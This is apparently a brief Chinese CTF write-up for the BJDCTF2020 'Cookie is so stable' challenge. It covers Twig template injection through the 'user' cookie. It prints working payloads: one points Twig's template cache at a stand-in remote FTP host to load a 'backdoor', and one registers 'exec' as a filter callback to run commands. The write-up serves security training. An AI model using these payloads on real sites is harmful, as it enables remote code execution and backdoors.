[BJDCTF2020]Cookie is so stable

考点

  • Twig模板注入

wp

访问flag.php,它Cookie中的user处存在SSTI

通过如下方式判断出SSTI类型为Twig

Twig 提供了一个_self,它有一个env属性,是Twig_Environment对象。Twig_Environment对象有一个setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置。因此可以通过将缓存位置设置为远程服务器来引入远程文件包含漏洞,前提是开启了allow_url_include。

{{_self.env.setCache("ftp://attacker.net:2121")}}
{{_self.env.loadTemplate("backdoor")}}

另外,Twig_Environment对象还有个调用过滤器的函数 getFilter()它调用了call_user_function 方法

public function getFilter($name)
{
        [snip]
        foreach ($this->filterCallbacks as $callback) {
        if (false !== $filter = call_user_func($callback, $name)) {//注意这行
            return $filter;
        }
    }
    return false;
}

public function registerUndefinedFilterCallback($callable)
{
    $this->filterCallbacks[] = $callable;
} php

只要把exec作为回调函数即可

{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

小结

最后更新于